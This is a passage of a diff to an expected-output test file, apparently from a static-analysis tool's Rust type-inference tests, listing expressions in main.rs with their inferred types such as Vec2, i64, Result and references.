main.rs:1176:13:1176:19 | &... | &T.&T.&T | file://:0:0:0:0 | & | +| main.rs:1176:13:1176:19 | &... | &T.&T.&T.&T | main.rs:1168:5:1168:13 | S | +| main.rs:1176:14:1176:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1176:14:1176:19 | &... | | main.rs:1168:5:1168:13 | S | +| main.rs:1176:14:1176:19 | &... | &T | file://:0:0:0:0 | & | +| main.rs:1176:14:1176:19 | &... | &T.&T | file://:0:0:0:0 | & | +| main.rs:1176:14:1176:19 | &... | &T.&T.&T | main.rs:1168:5:1168:13 | S | +| main.rs:1176:15:1176:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1176:15:1176:19 | &self | &T | file://:0:0:0:0 | & | +| main.rs:1176:15:1176:19 | &self | &T.&T | main.rs:1168:5:1168:13 | S | +| main.rs:1176:16:1176:19 | self | | file://:0:0:0:0 | & | +| main.rs:1176:16:1176:19 | self | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1179:15:1179:15 | x | | file://:0:0:0:0 | & | +| main.rs:1179:15:1179:15 | x | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1179:34:1181:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1179:34:1181:9 | { ... } | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1180:13:1180:13 | x | | file://:0:0:0:0 | & | +| main.rs:1180:13:1180:13 | x | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1183:15:1183:15 | x | | file://:0:0:0:0 | & | +| main.rs:1183:15:1183:15 | x | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1183:34:1185:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1183:34:1185:9 | { ... } | &T | file://:0:0:0:0 | & | +| main.rs:1183:34:1185:9 | { ... } | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1183:34:1185:9 | { ... } | &T.&T | file://:0:0:0:0 | & | +| main.rs:1183:34:1185:9 | { ... } | &T.&T.&T | file://:0:0:0:0 | & | +| main.rs:1183:34:1185:9 | { ... } | &T.&T.&T.&T | main.rs:1168:5:1168:13 | S | +| main.rs:1184:13:1184:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1184:13:1184:16 | &... | &T | file://:0:0:0:0 | & | +| main.rs:1184:13:1184:16 | &... | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1184:13:1184:16 | &... | &T.&T | file://:0:0:0:0 | & | +| main.rs:1184:13:1184:16 | &... | &T.&T.&T | file://:0:0:0:0 | & | +| main.rs:1184:13:1184:16 | &... | &T.&T.&T.&T | main.rs:1168:5:1168:13 | S | +| main.rs:1184:14:1184:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1184:14:1184:16 | &... | | main.rs:1168:5:1168:13 | S | +| main.rs:1184:14:1184:16 | &... | &T | file://:0:0:0:0 | & | +| main.rs:1184:14:1184:16 | &... | &T.&T | file://:0:0:0:0 | & | +| main.rs:1184:14:1184:16 | &... | &T.&T.&T | main.rs:1168:5:1168:13 | S | +| main.rs:1184:15:1184:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1184:15:1184:16 | &x | &T | file://:0:0:0:0 | & | +| main.rs:1184:15:1184:16 | &x | &T.&T | main.rs:1168:5:1168:13 | S | +| main.rs:1184:16:1184:16 | x | | file://:0:0:0:0 | & | +| main.rs:1184:16:1184:16 | x | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1189:13:1189:13 | x | | main.rs:1168:5:1168:13 | S | +| main.rs:1189:17:1189:20 | S {...} | | main.rs:1168:5:1168:13 | S | +| main.rs:1190:9:1190:9 | x | | main.rs:1168:5:1168:13 | S | +| main.rs:1190:9:1190:14 | x.f1() | | file://:0:0:0:0 | & | +| main.rs:1190:9:1190:14 | x.f1() | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1191:9:1191:9 | x | | main.rs:1168:5:1168:13 | S | +| main.rs:1191:9:1191:14 | x.f2() | | file://:0:0:0:0 | & | +| main.rs:1191:9:1191:14 | x.f2() | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1192:9:1192:17 | ...::f3(...) | | file://:0:0:0:0 | & | +| main.rs:1192:9:1192:17 | ...::f3(...) | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1192:15:1192:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1192:15:1192:16 | &x | &T | main.rs:1168:5:1168:13 | S | +| main.rs:1192:16:1192:16 | x | | main.rs:1168:5:1168:13 | S | +| main.rs:1194:13:1194:13 | n | | {EXTERNAL LOCATION} | bool | +| main.rs:1194:17:1194:24 | * ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1194:18:1194:24 | * ... | | file://:0:0:0:0 | & | +| main.rs:1194:18:1194:24 | * ... | &T | {EXTERNAL LOCATION} | bool | +| main.rs:1194:19:1194:24 | &... | | file://:0:0:0:0 | & | +| main.rs:1194:19:1194:24 | &... | &T | file://:0:0:0:0 | & | +| main.rs:1194:19:1194:24 | &... | &T.&T | {EXTERNAL LOCATION} | bool | +| main.rs:1194:20:1194:24 | &true | | file://:0:0:0:0 | & | +| main.rs:1194:20:1194:24 | &true | &T | {EXTERNAL LOCATION} | bool | +| main.rs:1194:21:1194:24 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1198:13:1198:20 | mut flag | | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1198:24:1198:41 | ...::default(...) | | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1199:22:1199:30 | &mut flag | | file://:0:0:0:0 | & | +| main.rs:1199:22:1199:30 | &mut flag | &T | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1199:27:1199:30 | flag | | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1200:18:1200:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1200:26:1200:29 | flag | | main.rs:1157:5:1160:5 | MyFlag | +| main.rs:1214:43:1217:5 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1214:43:1217:5 | { ... } | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1214:43:1217:5 | { ... } | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1215:13:1215:13 | x | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1215:17:1215:30 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1215:17:1215:30 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1215:17:1215:31 | TryExpr | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1215:28:1215:29 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1216:9:1216:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1216:9:1216:22 | ...::Ok(...) | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1216:9:1216:22 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1216:20:1216:21 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1220:46:1224:5 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1220:46:1224:5 | { ... } | E | main.rs:1210:5:1211:14 | S2 | +| main.rs:1220:46:1224:5 | { ... } | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1221:13:1221:13 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1221:13:1221:13 | x | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1221:17:1221:30 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1221:17:1221:30 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1221:28:1221:29 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1222:13:1222:13 | y | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1222:17:1222:17 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1222:17:1222:17 | x | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1222:17:1222:18 | TryExpr | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1223:9:1223:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1223:9:1223:22 | ...::Ok(...) | E | main.rs:1210:5:1211:14 | S2 | +| main.rs:1223:9:1223:22 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1223:20:1223:21 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1227:40:1232:5 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1227:40:1232:5 | { ... } | E | main.rs:1210:5:1211:14 | S2 | +| main.rs:1227:40:1232:5 | { ... } | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1228:13:1228:13 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1228:13:1228:13 | x | T | {EXTERNAL LOCATION} | Result | +| main.rs:1228:13:1228:13 | x | T.T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1228:17:1228:42 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1228:17:1228:42 | ...::Ok(...) | T | {EXTERNAL LOCATION} | Result | +| main.rs:1228:17:1228:42 | ...::Ok(...) | T.T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1228:28:1228:41 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1228:28:1228:41 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1228:39:1228:40 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1230:17:1230:17 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1230:17:1230:17 | x | T | {EXTERNAL LOCATION} | Result | +| main.rs:1230:17:1230:17 | x | T.T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1230:17:1230:18 | TryExpr | | {EXTERNAL LOCATION} | Result | +| main.rs:1230:17:1230:18 | TryExpr | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1230:17:1230:29 | ... .map(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1231:9:1231:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1231:9:1231:22 | ...::Ok(...) | E | main.rs:1210:5:1211:14 | S2 | +| main.rs:1231:9:1231:22 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1231:20:1231:21 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1235:30:1235:34 | input | | {EXTERNAL LOCATION} | Result | +| main.rs:1235:30:1235:34 | input | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1235:30:1235:34 | input | T | main.rs:1235:20:1235:27 | T | +| main.rs:1235:69:1242:5 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1235:69:1242:5 | { ... } | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1235:69:1242:5 | { ... } | T | main.rs:1235:20:1235:27 | T | +| main.rs:1236:13:1236:17 | value | | main.rs:1235:20:1235:27 | T | +| main.rs:1236:21:1236:25 | input | | {EXTERNAL LOCATION} | Result | +| main.rs:1236:21:1236:25 | input | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1236:21:1236:25 | input | T | main.rs:1235:20:1235:27 | T | +| main.rs:1236:21:1236:26 | TryExpr | | main.rs:1235:20:1235:27 | T | +| main.rs:1237:22:1237:38 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1237:22:1237:38 | ...::Ok(...) | T | main.rs:1235:20:1235:27 | T | +| main.rs:1237:22:1240:10 | ... .and_then(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1237:33:1237:37 | value | | main.rs:1235:20:1235:27 | T | +| main.rs:1237:53:1240:9 | { ... } | | {EXTERNAL LOCATION} | Result | +| main.rs:1237:53:1240:9 | { ... } | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1238:22:1238:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1239:13:1239:34 | ...::Ok::<...>(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1239:13:1239:34 | ...::Ok::<...>(...) | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1241:9:1241:23 | ...::Err(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1241:9:1241:23 | ...::Err(...) | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1241:9:1241:23 | ...::Err(...) | T | main.rs:1235:20:1235:27 | T | +| main.rs:1241:21:1241:22 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1245:37:1245:52 | try_same_error(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1245:37:1245:52 | try_same_error(...) | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1245:37:1245:52 | try_same_error(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1246:22:1246:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1249:37:1249:55 | try_convert_error(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1249:37:1249:55 | try_convert_error(...) | E | main.rs:1210:5:1211:14 | S2 | +| main.rs:1249:37:1249:55 | try_convert_error(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1250:22:1250:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1253:37:1253:49 | try_chained(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1253:37:1253:49 | try_chained(...) | E | main.rs:1210:5:1211:14 | S2 | +| main.rs:1253:37:1253:49 | try_chained(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1254:22:1254:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1257:37:1257:63 | try_complex(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1257:37:1257:63 | try_complex(...) | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1257:37:1257:63 | try_complex(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1257:49:1257:62 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1257:49:1257:62 | ...::Ok(...) | E | main.rs:1207:5:1208:14 | S1 | +| main.rs:1257:49:1257:62 | ...::Ok(...) | T | main.rs:1207:5:1208:14 | S1 | +| main.rs:1257:60:1257:61 | S1 | | main.rs:1207:5:1208:14 | S1 | +| main.rs:1258:22:1258:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1265:13:1265:13 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1265:22:1265:22 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1266:13:1266:13 | y | | {EXTERNAL LOCATION} | i32 | +| main.rs:1266:17:1266:17 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1267:13:1267:13 | z | | {EXTERNAL LOCATION} | i32 | +| main.rs:1267:17:1267:17 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1267:17:1267:21 | ... + ... | | {EXTERNAL LOCATION} | i32 | +| main.rs:1267:21:1267:21 | y | | {EXTERNAL LOCATION} | i32 | +| main.rs:1268:13:1268:13 | z | | {EXTERNAL LOCATION} | i32 | +| main.rs:1268:17:1268:17 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1268:17:1268:23 | x.abs() | | {EXTERNAL LOCATION} | i32 | +| main.rs:1269:13:1269:13 | c | | {EXTERNAL LOCATION} | char | +| main.rs:1269:17:1269:19 | 'c' | | {EXTERNAL LOCATION} | char | +| main.rs:1270:13:1270:17 | hello | | {EXTERNAL LOCATION} | str | +| main.rs:1270:21:1270:27 | "Hello" | | {EXTERNAL LOCATION} | str | +| main.rs:1271:13:1271:13 | f | | {EXTERNAL LOCATION} | f64 | +| main.rs:1271:17:1271:24 | 123.0f64 | | {EXTERNAL LOCATION} | f64 | +| main.rs:1272:13:1272:13 | t | | {EXTERNAL LOCATION} | bool | +| main.rs:1272:17:1272:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1273:13:1273:13 | f | | {EXTERNAL LOCATION} | bool | +| main.rs:1273:17:1273:21 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1280:13:1280:13 | x | | {EXTERNAL LOCATION} | bool | +| main.rs:1280:17:1280:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1280:17:1280:29 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1280:25:1280:29 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1281:13:1281:13 | y | | {EXTERNAL LOCATION} | bool | +| main.rs:1281:17:1281:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1281:17:1281:29 | ... \|\| ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1281:25:1281:29 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1283:13:1283:17 | mut a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1284:13:1284:16 | cond | | {EXTERNAL LOCATION} | bool | +| main.rs:1284:20:1284:21 | 34 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1284:20:1284:27 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1284:26:1284:27 | 33 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1285:12:1285:15 | cond | | {EXTERNAL LOCATION} | bool | +| main.rs:1286:17:1286:17 | z | | file://:0:0:0:0 | () | +| main.rs:1286:21:1286:27 | (...) | | file://:0:0:0:0 | () | +| main.rs:1286:22:1286:22 | a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1286:22:1286:26 | ... = ... | | file://:0:0:0:0 | () | +| main.rs:1286:26:1286:26 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1288:13:1288:13 | a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1288:13:1288:17 | ... = ... | | file://:0:0:0:0 | () | +| main.rs:1288:17:1288:17 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1290:9:1290:9 | a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1307:16:1307:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1307:22:1307:24 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1307:41:1312:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1308:13:1311:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1309:20:1309:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1309:20:1309:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1309:20:1309:33 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1309:29:1309:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1309:29:1309:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1310:20:1310:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1310:20:1310:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1310:20:1310:33 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1310:29:1310:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1310:29:1310:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1317:23:1317:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1317:23:1317:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1317:34:1317:36 | rhs | | main.rs:1297:5:1302:5 | Vec2 | | main.rs:1318:13:1318:16 | self | | file://:0:0:0:0 | & | -| main.rs:1318:13:1318:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1318:13:1318:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1318:13:1318:27 | ... -= ... | | file://:0:0:0:0 | () | -| main.rs:1318:23:1318:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1318:23:1318:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1324:16:1324:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1324:22:1324:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1324:41:1329:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1325:13:1328:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1326:20:1326:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1326:20:1326:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1326:20:1326:33 | ... * ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1326:29:1326:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1326:29:1326:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1327:20:1327:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1327:20:1327:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1327:20:1327:33 | ... * ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1327:29:1327:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1327:29:1327:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1333:23:1333:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1333:23:1333:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1333:34:1333:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1334:13:1334:16 | self | | file://:0:0:0:0 | & | -| main.rs:1334:13:1334:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1334:13:1334:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1334:13:1334:27 | ... *= ... | | file://:0:0:0:0 | () | -| main.rs:1334:23:1334:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1334:23:1334:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1335:13:1335:16 | self | | file://:0:0:0:0 | & | -| main.rs:1335:13:1335:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1335:13:1335:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1335:13:1335:27 | ... *= ... | | file://:0:0:0:0 | () | -| main.rs:1335:23:1335:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1335:23:1335:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1341:16:1341:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1341:22:1341:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1341:41:1346:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1342:13:1345:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1343:20:1343:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1343:20:1343:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1343:20:1343:33 | ... / ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1343:29:1343:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1343:29:1343:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1344:20:1344:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1344:20:1344:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1344:20:1344:33 | ... / ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1344:29:1344:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1344:29:1344:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1350:23:1350:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1350:23:1350:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1350:34:1350:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1351:13:1351:16 | self | | file://:0:0:0:0 | & | -| main.rs:1351:13:1351:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1351:13:1351:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1351:13:1351:27 | ... /= ... | | file://:0:0:0:0 | () | -| main.rs:1351:23:1351:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1351:23:1351:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1352:13:1352:16 | self | | file://:0:0:0:0 | & | -| main.rs:1352:13:1352:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1352:13:1352:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1352:13:1352:27 | ... /= ... | | file://:0:0:0:0 | () | -| main.rs:1352:23:1352:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1352:23:1352:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1358:16:1358:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1358:22:1358:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1358:41:1363:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1359:13:1362:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1360:20:1360:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1360:20:1360:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1360:20:1360:33 | ... % ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1360:29:1360:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1360:29:1360:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1361:20:1361:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1361:20:1361:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1361:20:1361:33 | ... % ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1361:29:1361:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1361:29:1361:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1367:23:1367:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1367:23:1367:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1367:34:1367:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1368:13:1368:16 | self | | file://:0:0:0:0 | & | -| main.rs:1368:13:1368:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1368:13:1368:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1368:13:1368:27 | ... %= ... | | file://:0:0:0:0 | () | -| main.rs:1368:23:1368:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1368:23:1368:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1369:13:1369:16 | self | | file://:0:0:0:0 | & | -| main.rs:1369:13:1369:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1369:13:1369:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1369:13:1369:27 | ... %= ... | | file://:0:0:0:0 | () | -| main.rs:1369:23:1369:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1369:23:1369:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1375:19:1375:22 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1375:25:1375:27 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1375:44:1380:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1376:13:1379:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1377:20:1377:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1377:20:1377:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1377:20:1377:33 | ... & ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1377:29:1377:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1377:29:1377:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1378:20:1378:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1378:20:1378:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1378:20:1378:33 | ... & ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1378:29:1378:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1378:29:1378:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1384:26:1384:34 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1384:26:1384:34 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1384:37:1384:39 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1385:13:1385:16 | self | | file://:0:0:0:0 | & | -| main.rs:1385:13:1385:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1385:13:1385:18 | self.x | | 